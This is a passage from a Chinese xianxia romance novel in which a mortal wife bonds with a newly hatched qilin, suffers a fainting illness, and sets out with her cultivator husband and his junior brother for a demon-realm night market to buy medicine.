院子里只剩下江千寒和池归雪两个人。
池归雪目送云棠离去,又低声说:“师兄,今早那一剑,你下手太重了。”
江千寒目光冷淡:“至少你还能留着一口气走回来,我若真下了重手,你早已是个死人。”
池归雪倒抽一口凉气:“师兄……”
江千寒转过身:“腿没断就别抱怨。”又叮嘱一句:“还有,自己上药,别麻烦你大嫂。”
午时一刻,阳光灿烂。
池归雪正坐在院子里的一把玉石椅上,与两只麒麟一起晒太阳。
这椅子是用暖玉雕成的,池归雪把双手搭在扶手上,后腰紧贴着椅背,融融暖意渗入体内,他身上暖和了许多,伤口也没那么疼了。
他的修为毕竟是第九层第一段,对他来说,这点小伤没什么大不了,他只需要运转内力,稍微调理个一两天,自然就会痊愈了。
两只麒麟趴在他脚边,皮毛被晒得微微发烫,偶尔甩一下尾巴,十分惬意。
池归雪闭上双眼,也想在这里睡一觉。
“池公子!”云棠的声音传到他耳边,他睁开双眼,看见云棠拎着一个药箱,跑到了他面前。
她在他身旁坐下,打开药箱:“这瓶金创药,每天早上敷一次,可以消肿止痛,这一盒补血回魂丹,晚饭后吃一粒,可以温养气血。”
池归雪双手抱拳:“多谢大嫂。”
云棠又从药箱第二层掏出一个油纸包,放在石桌上:“早晨剩了几块莲蓉糕、葱油饼,还有虾饺,我拿油纸给你包好了,你尝一尝,合不合口味?”
那药箱第三层还放了一把茶壶,以及一只茶杯,云棠把茶壶、茶杯都拿出来,递给池归雪:“这是乌龙生姜茶,用泉水泡的,夫君说你爱喝乌龙茶,我加了些生姜进去,活血化瘀的。”
池归雪接过茶壶和茶杯,倒了满满一杯茶水,一饮而尽,舒服得叹了一口气:“好喝极了。”
云棠高兴地拍了拍手:“这会儿阳光正好,你多晒晒太阳,心情也会变好,我先进屋了,夫君还在做午饭,我去给他打下手,你要是有什么事,喊我一声就行。”
池归雪望着桌上的丹药、糕点,还有他手中这一壶茶水,指尖在杯口上轻叩了一下,才出声道:“大嫂辛苦了,多谢。”
“不客气。”云棠站起身来。
池归雪忽然又喊了一声:“大嫂。”
云棠已经走出了两步,不明白他为什么又叫自己,侧过脸来:“怎么了?要我帮你上药吗?”
“不,不不不,不。”池归雪坚决拒绝。
他避开了云棠的视线,只问:“大嫂的老家在哪里?”
云棠没多想,如实回答:“容州,西沙县,我爹是石匠,我娘在村里教书。”
容州是人间九州之一,地处西南,四季如春,山清水秀,是一个安稳太平的好地方。
池归雪沉思片刻,又问:“你从前见过魔修吗?”
云棠感到莫名其妙:“魔修不是都生活在魔界吗?我爹娘都是凡人,我也是凡人,怎么会认识魔修呢?”
池归雪追问道:“大嫂有没有兄弟姐妹?”
云棠的眉头皱了起来。
这个池归雪,为什么一直在问东问西?一会儿问她老家在哪里,一会儿又问她认不认识魔修,家里有几口人,他到底要做什么?
“我爹娘只有我一个女儿。”云棠有些不耐烦了。
池归雪大概也察觉到了她的语气变化,顿了一下,才说:“我只是想多了解大嫂,我常年闭关练武,极少与人打交道,不太会说话,也不懂如何拿捏分寸,若有冒犯,还请大嫂见谅。”
云棠本来也没生气,听他这么一说,立即摆了摆手:“嗯嗯,没事的,那我先走了。”
她跑进了屋内,去找江千寒了。
午时三刻,饭菜端上了桌。
江千寒让云棠去喊池归雪来吃饭。
池归雪跟着云棠走进花厅,心里其实有一丝犹豫,师兄不会在饭菜里做什么手脚吧?
他一瘸一拐走了几步,转念一想,大嫂也要吃饭,师兄固然看他不顺眼,却不可能连累大嫂,便放下心来,准备大吃一顿。
桌上摆着蘑菇炖鸡、萝卜炖鱼丸、银鱼鸡蛋羹,还有两盘清炒时蔬,以及一摞烙得焦香的葱油饼。
池归雪坐在云棠身侧,扫眼一看,面前还有一盘已经剥去外皮的凤尾橘,每一瓣果肉都是透亮的橙红色,散发着淡淡清香。
凤尾橘是仙界灵果,有补气养血、延年益寿之效,池归雪不明白,师兄为什么能在人间把凤尾橘种出来?
江千寒也不说话,拿起筷子,往云棠的碗里夹了两瓣橘子肉,又给她舀了几勺银鱼鸡蛋羹。
云棠一小口一小口慢慢吃饭,同时也会给江千寒夹菜:“夫君,你多吃点。”
池归雪忍不住问:“师兄经常出门打猎吗?”
云棠点头:“门口那一片湖里有很多鱼虾,后山上散养了一群鸡鸭,夫君有时候也会进山打猎,弄些山珍野味回来吃。”
池归雪欲言又止。
饭后,三人一同把花厅和厨房收拾干净,云棠上楼去午睡了。
江千寒走入前院,池归雪紧
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跟他的脚步。
午后凉风吹过果林,卷来几片绿叶,落在池归雪脚边。
池归雪双手抱剑,沉默了一会儿,才开口:“师兄,今早我和你说了,师父派我来凡间,不只是为了麒麟。”
江千寒没应声。他招了招手,两只麒麟飞快跑了过来。
江千寒取出两块玉牌,分别挂在它们的脖子上,有了此物指引,它们才能平安渡过界门,重返仙界。
池归雪自言自语:“师父说,近来人间隐有魔气浮动,叫我下凡来查一查,看看是不是出了什么变故。”
江千寒系好了玉牌,轻轻拍了拍麒麟的脑袋:“查得如何?”
池归雪深吸一口气:“我只在大嫂身上察觉到了一丝魔气,不过,大嫂为人热心善良,纯真可爱,没有半点凶煞之气,绝非穷凶极恶之辈。”
“我忽然又想把你打飞了。”江千寒淡淡道。
池归雪立刻后退几步:“师兄,请息怒。”
为表诚意,池归雪略微弯腰,语气更加诚恳:“这是我第一次下凡为师父办事,还请师兄指条明路,我应该去哪里寻找线索?”
江千寒眺望远方:“师父派你来查这件事,却不告诉你魔气从何而来,也不知道牵扯了哪些人,你打算查到什么时候?”
池归雪又站直了:“我也想不明白,所以才来问师兄。”
江千寒没再说话。他低头看着麒麟。
前院里,两只麒麟踏了踏蹄子,玉牌上的仙气滋养了它们的神魂,唤醒了它们对仙界的记忆,那是能让神兽真正安心的家乡。
公麒麟腾空而起,四蹄踏出一片流云,在半空中低鸣了一声,催促同伴。
母麒麟才刚飞起来,忽然落回了地面,夹紧了尾巴,急急忙忙地转了两圈。
公麒麟跳到它身旁,它用脑袋拱了拱公麒麟的脖颈,又垂头看了一眼自己的肚子。
池归雪抱紧了怀里的长剑:“怎么回事?”
母麒麟转头冲向了近旁一棵枇杷树,仰头咬下几根翠绿枝条,叼在嘴里,又跑进了东侧那一间竹屋。
池归雪还是不明白:“我们要不要跟过去看看?”
公麒麟又气又急,响亮长鸣一声,朝着池归雪猛冲过来,一头撞在了他的腿上。
偏偏撞的是左腿。
池归雪疼得倒抽一口气,踉跄一步,差点摔倒:“你真像是一头疯牛。”
公麒麟又去撞江千寒的腿,使劲拱他的手,拱完又跑向竹屋门口,再跑回来,放声大叫。
江千寒明白了它的意思。
“别急,”江千寒低声安抚它,“我来帮你。”
江千寒从储物袋里取出丝绵,又取出四块灵玉,分别摆在竹屋的四个角落。他单手掐了个诀,灵玉亮了起来,一道细密的聚灵阵纹在地面上浮现,屋内的灵气顿时变得浓郁了许多。
他又点燃了一根安神香,放入香炉里,搁在门边,最后把一盆温热的泉水端进去,摆在母麒麟身侧。
公麒麟把丝绵铺在了母麒麟四周,又用鼻尖拱了拱它,或许是因为竹屋里灵气充沛,母麒麟的呼吸渐渐平稳了。
“啪”的一声,二楼的窗户被推开了,云棠探出头来,什么也没看见。
她本来正在午睡,听见麒麟的叫声,担心的不得了,当然睡不着了。她匆忙穿好衣服,一路狂奔,跑进了竹屋,往里一看,母麒麟正趴在一堆丝绵上,肚腹一起一伏的。
她吓了一跳:“出了什么事?”
池归雪说:“麒麟突然中邪了。”
江千寒却说:“母麒麟快生了。”
他瞥了一眼池归雪,牵住云棠的手腕:“我们先出去,别打扰它。”
云棠很听话,乖乖跟着江千寒往外走。
池归雪依然站在原地,盯着母麒麟发愣。
江千寒转过头,命令道:“立刻滚出来,不要惊扰麒麟。”
8.认主
池归雪身影一闪,飞到了二十丈之外。他背对着竹屋,站得笔直,怀里依旧抱着那把重剑,一动不动,如同一尊雕像。
“你师弟没事吧?”云棠小声问江千寒,“他站在那里干什么?”
江千寒毫不在意:“别理他,他从小就这样,沉默寡言,随便找个地方就能站上一整天。”
云棠很好奇:“那你呢?你们剑修是不是都这样,不爱说话?”
江千寒立即否认:“我不一样。”
云棠抬头看着他,等着他的解释,但他没再开口了。
云棠本想问问他小时候的事,话到嘴边又咽回去了,他的师弟尚且如此,他自己大概也是那样,早已习惯了一个人在僻静处,独自练剑,独自悟道。
此时此刻,竹屋里的母麒麟呜咽了一声,听起来像是使尽了全力。
云棠深吸一口气,心里还是紧张极了,不由得抱住了江千寒的手臂,默默为麒麟和它的孩子祈福。
那间竹屋三面开窗,窗上只蒙了一层薄纱,云棠能看见屋内一切景象。
母麒麟原本是端端正正卧在丝绵上,忽然耳朵一竖,四肢撑地,摇摇晃晃地站了起来。
云棠还没看清它要做什么,屋内猛然炸开了一道红焰金光,闪耀绚丽,透过窗纱映出来,亮得她睁不开眼。
不过几个瞬息之后,那光芒渐渐暗淡下去了。
公麒麟用头上的龙角把门顶开,脑袋一歪,指向门内,引导云棠和江千寒进屋细看。
云棠步入屋内,只见母麒麟和公麒麟双双站在墙角里,地上多出来一颗巴掌大的金蛋,圆溜溜的,在一团丝绵之中转圈打滚,蛋壳表面长满了火焰纹,仍在一闪一闪发亮。
云棠惊讶地捂住了嘴:“这是小麒麟吗?”
母麒麟低头,叼住了这一枚金蛋,送到了云棠和江千寒脚边。
云棠连忙弯腰,小心翼翼把金蛋抱入怀里,轻柔地抚摸着蛋壳,触感坚硬,微凉,光滑如玉。
双手覆在蛋壳之上,能感应到这里面的响动,砰咚,砰咚,跳得好快,那是小麒麟的心跳声。
“别怕,”云棠柔声道,“我一定会好好照顾你的。”
母麒麟伸长了嘴巴,碰了一下蛋壳,温暖的鼻息轻轻拂过云棠的指间,云棠还没摸到它的脑袋,它缓步退开了,不再靠近,只站在一旁,与公麒麟对视。
公麒麟凑过来,嗅了嗅蛋壳,然后转过身,与母麒麟一同走出了竹屋。
它们的四蹄之下,涌现几朵流云,当空吹过一阵疾风,吹得它们身上的火红色皮毛略显蓬乱,它们仍未停下脚步,就这样腾云驾雾,飞上万丈高空,消失在茫茫天地之间。
云棠慌忙追了出去:“等一下,你们不能就这么走了啊?!”
小麒麟似乎察觉到了父母已然远去,金蛋里传来一连串剧烈的撞击声,蛋壳表面隐隐浮现出一丝又一丝裂纹,纵横交错,在那裂纹之下,还贴着一层粉白色的薄膜。
云棠赶紧把它抱紧了,生怕它掉在地上摔坏了。
她下定决心:“我马上就去找你的父母!”
“不必找了,”江千寒抬手拦住她,“麒麟从不亲自养育幼崽,只会把蛋藏在安全的地方,然后就走了,不会再回来。”
云棠愣住了:“可是,它们生一个蛋也不容易吧?”
池归雪也走了过来:“麒麟是上古祥瑞之兽,深受天道庇佑,幼崽破壳之后,自有天地灵气滋养,不需要父母教导,若是把幼崽留在身边,父母自身的灵力太强,反倒会压制幼崽成长。”
“天呐,好可怜,”云棠叹了一口气,喃喃自语,“这么小,连爹娘的面都没见过……”
江千寒忽然说:“我小时候也没人管。”
云棠第一次听江千寒吐露自己年幼时的经历,从前她也问过几次,他总是不愿多说半个字,今天倒是罕见地坦白了一回。
她怔了一怔,手往前伸,摸到他的黑衣袖摆,正要开口安慰他,怀里那颗金蛋已被顶飞了一小块蛋壳,一对幼嫩的龙角从裂口里挤出来了。
“破壳了!”云棠惊叫出声。
“咔嚓”几声,蛋壳上的裂缝越来越大,碎片接连脱落,一只仅有巴掌大的小麒麟正坐在她掌心里,睁着一双湿润的大眼睛,懵懵懂懂望着她。
云棠屏住了呼吸:“太可爱了。”
池归雪也附和了一句:“确实可爱。”
小麒麟突然打了个喷嚏,喷出一点火星,它自己也吓了一跳,想站起来,四只蹄子还使不上力,干脆仰面朝天躺在她手上,露出了柔软的小肚子,那里覆盖着一层淡红色绒毛。
云棠把它托在自己的左手上,右手轻轻抚摸那一片绒毛。
它似是觉得痒,抬起一只长满了金红细鳞的前蹄,抵住了云棠的掌心,一缕金光在她指腹和它的鳞片之间闪烁游移,它竟然把另一只前蹄也伸了过来,全然落到了她手里。
云棠还不明白发生了什么,一旁的池归雪三步并作两步,飞上前来:“麒麟在认主,这不可能。”
一把沉重的长剑横在了池归雪面前,江千寒手握剑柄,也没看池归雪一眼,只盯着云棠和小麒麟:“那是它自己的选择,由不得你来做主。”
小麒麟等不及了,“呜呜”叫了两声。
云棠这才反应过来。
她比池归雪更震惊,不敢相信小麒麟竟然要与自己借契,她只是一个普通的凡人,怎么会遇到这样的机缘?
手指开始微微发抖,她强压下心中的复杂情绪,一句一顿,念出口诀:“血脉相连,魂梦相依,从今往后,生死与共,此契既成,风雨同路。”
小麒麟才刚破壳不久,还是第一阶灵兽,但它的灵力涨得很快,大概一个月之后,便会升入第二阶。
云棠顺利与它借契,它那一双金眸里光彩斐然,她心念一动,给它起了两个名字:“以后你的大名就是‘赤霸天’,小名叫……小宝。”
结契之后,小宝精神抖擞,从云棠手里一跃而下,绕着竹墙飞了一大圈
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,上蹿下跳,浑身似有一股使不完的劲,看起来兴奋极了。
池归雪还没接受这个残酷的现实。他紧紧握着自己手里那把剑:“不对,这不可能……”
江千寒从他身旁走过:“什么是可能,什么是不可能?世间万法,并无定数,各人自有各人的造化机缘,你又何必执着于常理之中的是非因果,神兽择主,向来只看心性,不论修为。”
江千寒这一番道理讲得真好,也真玄妙,云棠听完了,脸却红了。
神兽看重心性,却也不太可能和一个修为只有一层的凡人借契,思来想去,大概还是因为这一只小麒麟年纪太小,刚刚经受了与父母分离之苦,还要用头上的龙角去顶破蛋壳,那蛋壳多硬啊!它反反复复撞个几下,神智早就荡然无存了,再一睁眼,只看见云棠,稀里糊涂就认主了,这也是说得通的。
池归雪显然也想到了这其中的缘由。他仍未放弃探寻真相。
他摊开双手,喊了一声“小宝”,十指间蕴满灵力,掌中浮起两团金光,小麒麟果然被他吸引了,立即飞扑过来,跳到了他手上。
他正色道:“大嫂,这段时日,请务必让我照顾小宝。”
“大嫂”和“小宝”这两个称呼连在一起,听起来有些奇怪,倒像是云棠在使唤他帮忙带孩子似的。
云棠很不好意思,本想开口拒绝,话才刚到嘴边,她感知到了小宝的心思。
这只小麒麟竟然觉得池归雪严肃古板的样子很好玩,想跟他一起去药圃里采摘草药。
哎,小宝刚破壳就没了父母,被人收养,多可怜啊,它这点小小的心愿怎么能不满足呢?云棠便答应道:“那就拜托你了,池公子,请你带它去药圃,它肚子饿了,劳烦你给它找些能吃的仙草灵芝。”
池归雪双手稳稳捧着小宝,低声应道:“多谢大嫂体谅。”
池归雪转身走向药圃,他左腿的伤还没痊愈,腰间还挂着一把重剑,走起路来一瘸一拐,脊背依旧挺得笔直。
云棠感叹道:“他这是何苦呢?”
江千寒把地上的蛋壳碎片收了起来,放进一只瓷碗里:“不用管他,他自己也不明白。”
那就随他去吧。
与麒麟结契之后,云棠的气脉之中逐渐漫开一股平静温暖的灵力,周身内息也在平稳运转。
她闭上双眼,福至心灵,双手自然而然结出一个法印,不知不觉间,她停滞许久的修为,竟然突破了第一层第四段,直接升入第一层第五段。
她惊喜地睁开双眼,正要把这个好消息告诉江千寒,眼前突然出现了几团黑影,强烈的晕眩感阵阵上涌,她全身酸软,双腿也没了力气,站都站不稳,不由自主向后倒去。
江千寒一把将她捞入怀里:“小棠?”
她听见了江千寒的声音,他一定很着急,从她的颈侧一路摸到她的心口,不断往她体内灌注灵力,帮助她调理内息。她想告诉他,自己没事,不要担心,可是任凭她如何努力,竟然连一个字都说不出口。
9.燥热
云棠醒过来时,夜色已深,窗外一片漆黑,天上无星无月,仅有几朵低垂的乌云。
她双手撑住了被褥,慢慢坐起身,把窗扇推开一条细缝,丝丝缕缕的小雨飘散过来,凉风拂过面颊,吹进鼻子里,直达肺腑,头脑顿时清醒了许多。
床边木桌上亮着一盏烛灯,她微微侧头,昏黄烛光映入眼底,一道挺拔的长影投在纱帐上,她顺着那道影子望过去,江千寒正站在床前,沉静地看着她,始终不曾移开视线。
她小声问:“夫君,现在是什么时候了?”
江千寒在床边坐下,一手揽过她的肩膀,把她抱入怀里:“亥时三刻了,你睡了整整一天。”
她倚靠在他胸膛上,迷迷糊糊抬起手来,轻轻拽住了他的衣袖,指尖沿着袖摆上的暗纹一路摸索,触及他的手腕,微有凉意,他的手比平时冷了许多,她不知道他在这里守了她多久,又渡了多少灵力给她。
云棠连忙问:“你是不是一直在为我运功疗伤?”
江千寒并未回答,只是抓起她一只手,搭住了她的脉搏,仔细探查她的脉息。
她又说:“我……我也不知道自己是怎么了,也许是和麒麟结契,消耗了太多力气……我怎么会昏迷那么久呢?”
她越说越急:“你损失了多少灵力?你现在觉得冷吗?万一你也倒下了怎么办?快回答我,你还好吗……”
江千寒直接捂住了她的嘴,稍微用力,迫使她往后一仰,后颈贴上了他的衣襟。
他低头在她耳边说:“你晕倒之后,我一直在为你引气护脉,你不必担心,这一点微末损耗,我只需调息片刻,便能完全恢复。”
他咬了一下她的耳尖,力道极轻,并未留下半点痕迹,却分明有一丝惩罚的意味。
云棠浑身一僵,连呼吸都忘了。
江千寒俯身迫近,从她耳尖缓缓移到了耳廓,再沿着那一小段弯曲的软骨一直吻到耳垂,张口含住,舔舐吸吮,灼热的气息拂在她脸上,烫得她全身上下从头到脚都酥软了。
“嗯,夫君……”她攥紧了他的袖摆。
江千寒放开她微微泛红的耳垂,低声问:“你真不记得自己小时候的事了?”
云棠脑海里一片混沌,茫然问道:“小时候……能有什么事呢?”
江千寒的手掌已经划到她脖颈上,拇指的指腹抵住了她的唇瓣。
她也咬了咬他的指尖,才说:“我一直都在村子里生活,几乎没见过外人,直到三年前,你遭受了雷劫,从天上摔下来,落在深山里,我把你捡回了家……”
她原原本本地回忆道:“你当时重伤昏迷,我守了你几天几夜,给你换药,喂你喝粥,后来你醒了,半句话不说,一口气把我家里的农活全干完了,我爹娘都被你吓坏了。”
江千寒似乎也记起了那一段往事。他不自觉地笑了一声,重新搭上她的手腕,又开始为她调息运气。
江千寒的修为十分高深,如同汪洋大海一般,深不见底,从他指尖渡过来的灵力只是极细的一缕,舒缓又温和,渐渐游遍她的四肢百骸。
因为方才那一阵缠绵亲热,此时云棠脸颊绯红,气血飞速流转,江千寒传来的灵力,轻易融入了她的经脉里,没有半点滞涩。
她这才明白过来,之前他那样突然逗弄她……捂紧了她的嘴唇,含着她的耳垂又舔又咬,又吻又吮,并非一时兴起,只是……只是为了给她治病吧?
她双眼一亮:“谢谢夫君。”
江千寒并不知道云棠正在想什么,只见她那一双清澈杏眼里水光流荡,似羞似喜,气色也红润了许多,他心念一动,低头又在她脸上吻了吻:“不用谢,夫妻之间,不说这些见外的话,照顾自己的妻子,本就是我分内之事。”
云棠双手勾住了他的脖颈,把脸埋在他胸口上:“我还记得,你第一次在我们村里过年,家家户户都要捣年糕,你一个人抡着石杵,捣了全村的年糕,那石杵有一百多斤,你一只手就提起来了,村里的老人都说,你肯定是天上的神仙,专门下凡来帮我们村里人干农活的……”
门外传来一声叹息:“师兄,你当初为了与大嫂成亲,竟然做到了这个份上,可悲,可叹。”
那人还说:“师兄,你真是鬼迷心窍了,不惜给凡人当苦力,讨长辈欢心。”
云棠呆住了。
她听出来了,那是池归雪的声音。
江千寒闭上了双眼,似在极力压制心头怒火,片刻之后,只念出了一个字:“滚。”
云棠紧张地问:“夫君,你师弟是什么时候来的?”
“刚来不久,”江千寒起身下床,“他只听到了几句话,我这就出去把他扔下山。”
云棠连忙制止:“不,不行,夫君,你不能赶他走啊,你师父不是把他托付给我们了吗?”
江千寒身影一闪,瞬移到了门边:“放心,他毕竟是我师弟,我不会一剑砍死他。”
江千寒一脚把门踹开,池归雪早已飞出了五丈远。
又因为门外是一圈回廊,池归雪立定之后,回头一看,正好对上了云棠的视线,他正站在雕花木窗之前,那窗户紧挨着屋内一张木床,而云棠正坐在床上。
她只穿了一条浅桃色纱裙,不过江千寒离开之前,怕她着凉,用被褥将她裹起来了,裹得严严实实,并未露出一丝引人遐想的肌肤。
此时两人打了个照面,池归雪认为这般场面并不尴尬,他点了一下头:“大嫂,晚安。”
云棠涨红了脸颊,一头钻进了被窝:“我还在床上啊,你能不能不要站在这里?”
池归雪转开目光,语气仍是分外坦荡:“我只是来找师兄说正事,我眼里只有这一把剑,连大嫂的半寸皮肉都没瞧见,站在这里又有何妨?”
如今正是隆冬十二月,天气虽冷,却也没到冰冻三尺的地步,然而,池归雪刚说完那句话,窗纱上凝结了一层厚重白霜,如同一面屏风,全然挡住了云棠的身影。
寒意不断蔓延。
池归雪凭借自己第九层的修为,敏锐察觉到,又有一道狂暴剑风,从他身侧劈过来,丝毫不会伤及大嫂,但他自己要躲避,却是来不及了。
他的腿伤才刚刚痊愈。
其实,他也想和江千寒比武,奈何二人境界相差太远,他根本找不到出手的机会。
千钧一发的关头,小麒麟从他的袖袍里跳出来,落到了他的左肩上,睁大了一双金眸,四处打量。
那一道剑风瞬间消散了,江千寒站在栏杆上,右手仍然握紧了剑柄:“过来,赤霸天。”
江千寒叫出了小麒麟的大名,小麒麟不禁打了一个哆嗦,犹豫了一小会儿,还是飞向
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了江千寒,收起四蹄,抱着尾巴蜷缩在他脚边。
“师兄,请息怒,不要伤及无辜。”池归雪又劝了一句。
云棠把窗扇推开,已穿上了一件宽袖夹袄,也用丝带把长发扎成了一束,拢在一侧,乌黑的发尾微卷,俏丽又温婉。
她朝着小麒麟招了招手:“小宝?”
小宝立即冲进了云棠的怀抱。
云棠轻轻笑了笑,才把窗户关上了:“你们也别打架了,这么晚了,各自回房早点休息吧。”
窗外的人影一动不动。
她听见池归雪又叹了一口气:“师兄还没和你说正事吗?此事非同小可,不能耽搁,他竟然一直瞒着你。”
云棠立即问:“什么正事?”
铮然一声轻响,是长剑极速贯入剑鞘时发出的声音。
江千寒收剑回鞘,从栏杆上一跃而下,刹那之间,他已站到了木窗旁,原本紧闭的窗扇又向两侧敞开,夜色寒凉,却没有一丝冷风灌进屋内。
云棠定睛一看,眼前浮起了一道极薄极淡的金光,江千寒又用结界把她罩起来了,怪不得床上还是这么暖和,一点也不冷。
床帐早已放下来了,江千寒用剑鞘挑开一块轻纱,目不转睛地盯着她:“你才刚醒,经络气脉之中还有淤血尚未化开,这几日必须好好静养,我不想让你听见任何烦心事。”
云棠答应道:“嗯,夫君,我都听你的,你不要担心我,我会照顾好自己的。”
她也不管池归雪还要说什么,伸了一个懒腰,拉起了被褥,准备睡觉了。
她认识江千寒整整三年了,除了爹娘,在这世上,她最信任的人就是江千寒,又岂会听信池归雪一面之词呢?
江千寒始终没看池归雪一眼,但他剑鞘一转,又指向了池归雪。
他语声平稳,像在说一件微不足道的小事:“趁我还没动手宰了你,立刻滚。”
池归雪的脸上也没有任何表情,无悲无喜,无怒无怨,师父曾经说过,他是修炼无情道的好苗子,但他还是选择了凌苍剑宗的天下第一剑道。
他转身离去:“商灯夜市在三天后开放。”
商灯夜市?
那是……那是什么?
云棠记得,自己曾经听过与“商灯夜市”有关的传闻。
那个地方神秘莫测,又有机缘奇遇。
可是现在她太困了,思绪全乱了,什么都想不起来了。
“嗯……”她呢喃了一声。
江千寒关紧窗户,拉上了竹帘,躺回她身边,熟练地将她揽进臂弯:“不用多想,睡吧,有什么事明天再说。”
她含糊回应道:“谢谢……”
他不止一次提醒她,不要向他道谢,可她还是忍不住这么说。
她总想感谢他一直以来,这样细致入微地照顾她,保护她。
而且,每一次说出这两个字的时候,她其实是在心里许愿,她想永远和他在一起,不论今生,还是来世……生生世世都要和他做夫妻。
墙角摆着一张木制摇篮,里面铺了一团绒毯,小麒麟正趴在毯子上,呼吸绵长,大概也睡着了。
江千寒熄灭了烛灯,四周一片黑暗寂静,云棠渐渐沉入梦乡,意识涣散迷离,她在梦中默念,这样平静安宁的生活,对她而言,已是十分幸福圆满。
10.开市第一日
次日中午,云棠睡醒了,起床洗了个热水澡,浑身暖洋洋的,头不晕了,身上也有劲了。
她穿上一件杏黄色罗裙,系了一条秋香色腰带,对着铜镜照了照,又用一朵丝绢梨花把长发扎成一束,发尾从左肩垂下来,在腰间打了个卷。
门在这时打开了,江千寒拎着食盒走进来,脚步一顿,半句话都不说,只是低头看着她。
云棠站在他面前,原地转了一圈,锦纱裙摆上光影浮动,她高高兴兴地问:“这条裙子好看吗?”
江千寒立即回答:“你更好看。”
他把食盒放到桌上,揭开了盖子:“你已经有整整两天没进食,过来坐下,吃点东西,饭菜还热着。”
云棠开开心心跑过去,桌上摆着一碗小米枸杞粥,一盅人参炖鸡,还有一盘凉拌珍珠笋。
她不知道江千寒究竟用了什么调料,每一道菜闻起来都是十分甘美鲜香,回味清新,叫人胃口大开。
她连忙坐下来,没过一会儿,就把饭菜全吃光了。
她小声说:“真好吃啊。”
江千寒把碗筷都收走了:“厨房里还有一碗红枣银耳羹,正在炉子上炖着,下午再给你端过来。”
云棠点头:“嗯嗯。”
她心想,这个人怎么什么都知道,仿佛能看穿她的心思,她确实很想吃红枣银耳羹。
还有,昨天晚上,池归雪说的“正事”到底是什么?她其实一直惦记着,不过江千寒还没提,她也不会问。她不想给自己找麻烦。
半晌之后,江千寒回到了卧房,随意坐在一把木椅上,距离云棠仅有不到一丈远。他手里拿着杵臼,把麒麟留下的蛋壳放进去,又加了几味风干的仙草,捣成糊状,倒入一只白瓷小碗。
小宝从窝里飞过来,蹄子还没落地,脑袋已经埋进碗里了。它吃得太快,拖动了碗沿,在地板上刮出一道轻响。
云棠双手托腮看了一会儿,惊叹道:“小宝是不是长大了一圈?长得好快啊。”
前天刚破壳的时候,小宝还只有巴掌大小,今天已经长到一只脸盆那么大了,龙角也变得更硬了,四只蹄子上的鳞片也比之前亮了许多。
江千寒接话道:“麒麟破壳之后长得很快,等它再大一些,我们去商灯夜市也能带上它。”
云棠快步走过来:“商灯夜市,就是那个……那个……”
“商灯夜市”这个地方,实在太神秘了,云棠只听过一些传闻,此时也说不出个所以然。
江千寒伸手揽住她腰肢,往怀里一搂,她顺势坐到了他腿上。
他开口道:“魔界有四大家族,关、商、卫、金,其中商家世代经商,讲究信誉,魔界一半的买卖都在他们手里,由他们做主。”
云棠听得认真:“他们也在人间做生意吗?”
江千寒道:“仙界在人间划了一块地界,特许商家在那里开市,方便各界修士交易往来,就是商灯夜市。”
云棠眨了眨眼睛:“他们一定很有钱吧。”
江千寒淡淡道:“还行,在魔界算有钱的。”
江千寒的语气漫不经心,云棠也不知道,江千寒是看不上魔界,还是没把钱财这等俗物放在眼里。
她又问:“商灯夜市什么时候开放呢?”
江千寒捏了捏她的手指:“每逢换季开放一次,时长一个月,夜市里东西很多,以魔界物产为主,各种灵丹妙药、法器材料,要什么有什么。”
原来是这样啊。
云棠听明白了,还有一点疑惑:“这就是池归雪说的正事吗?”
江千寒握住了她整只手:“我要带你去商灯夜市买药。”
买药治病……确实是正经事,云棠心里却生出几分忐忑。
她的修为至今还停在第一层第五段,商灯夜市那种鱼龙混杂的地方,她去了能做什么?
她很害怕自己会给他添麻烦。
她低下头,断断续续地说:“可是,为什么我们一定要去商灯夜市呢?别的地方,不能买药吗?人间也有很多药房啊。”
前天她突然晕倒,并不是第一次发病。
这病是从娘胎里带出来的,打从她记事起,每当她修为上涨,或是专注练功时,总会觉得头晕,有时歇一歇就好,有时会直接昏过去,什么都不知道了。
正因如此,在她嫁给江千寒之前,爹娘把她当成掌上明珠一样疼爱,全心全意照顾她,从来不许她一个人偷偷练功。
她早已习惯了自己的病症,每次发病时,她都想告诉江千寒,没事的,她总会醒过来,不用担心。
可如今,她昏睡的时辰一次比一次长。
哪怕她经常与他双修,体内气脉已被他调理得十分畅通,这怪病发作起来,还是毫无征兆,短短几个瞬息之间,她体内灵力便会狂翻乱涌,她也成了一个废人,丝毫动弹不得。
怎么办呢?
她越想越烦,又急又怕,眼里渐渐闪出泪光。
江千寒双手环在她腰间,略微收紧,直到她贴上他胸膛,他才说:“你体内灵力与仙界修士不同,吃不了仙丹仙药,只有魔界的‘冰露回元丹’能帮你驱散燥气、调理内息,这药只在商灯夜市售卖,我们非去不可。”
云棠点了点头,眼泪还是流了下来。
江千寒吻了吻她的眼泪:“别哭,买了药就回家,什么事都不会有。”
云棠抬手搭上他肩膀,悄悄问他:“那药方很贵吗?”
江千寒把她的手从肩上拿下来,握在掌心里:“钱不是问题,不过冰露回元丹至少有一百种配方,魔界医修给你诊过脉,才能对症配药,我们快去快回,前后最多只需七天。”
听完江千寒这番话,云棠松了一口气。
只要七天,就能把病治好吗?
那她愿意去商灯夜市,冒险一试。
虽然心里还有些害怕,可她更想把病治好,从此不再犯病,不再昏厥,当然也不会拖累江千寒,他们又能过上安宁生活。
云棠答应道:“嗯,那我们择日动身吧。”
云棠在家里又休养了四天,感觉自己恢复了许多精力,便收拾好了包袱,与江千寒、池归雪一同启程上路。
江千寒走在前方,云棠跟在他身侧,池归雪反倒落后了几步。
池归雪肩上背着一只木箱,小宝就藏在箱子里,偶尔会把眼睛贴近缝隙,好奇地向外张望。
小青缠在云棠手腕上,微微竖起了几片叶尖。
它还是不
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喜欢麒麟,哪怕小宝只是在箱子里打了个喷嚏,它都会颤动一下,不过,它好歹不像从前那样,一见到麒麟就吓得装死了,如今勉强也算得上相安无事。
云棠夸赞道:“小青和小宝都好乖呀。”
今天阳光灿烂,湖水映照着蓝天白云,原本是个适合出行的好日子,池归雪又凭借一句话大煞风景:“小青和小宝倒是还好,我最担心大嫂,修为这么低,体质又那么弱,进了商灯夜市,能撑几天?真不知道,会不会出什么意外。”
清晨出行,不宜见血。
江千寒在心里默念这八个字,也就没拔剑出鞘,淡然回应道:“她不需要你担心,其实她悟性很好,心性也很坚韧,也许她以后还会救你一命。”
江千寒如此维护云棠,云棠却不相信他那句话,池归雪堂堂一个仙界剑修,修为达到了第九层第一段,又怎么会沦落到让云棠来救他的地步?
池归雪也不相信,只说:“绝无可能。”
走出一步,池归雪又说:“但我会尽力保护大嫂。”
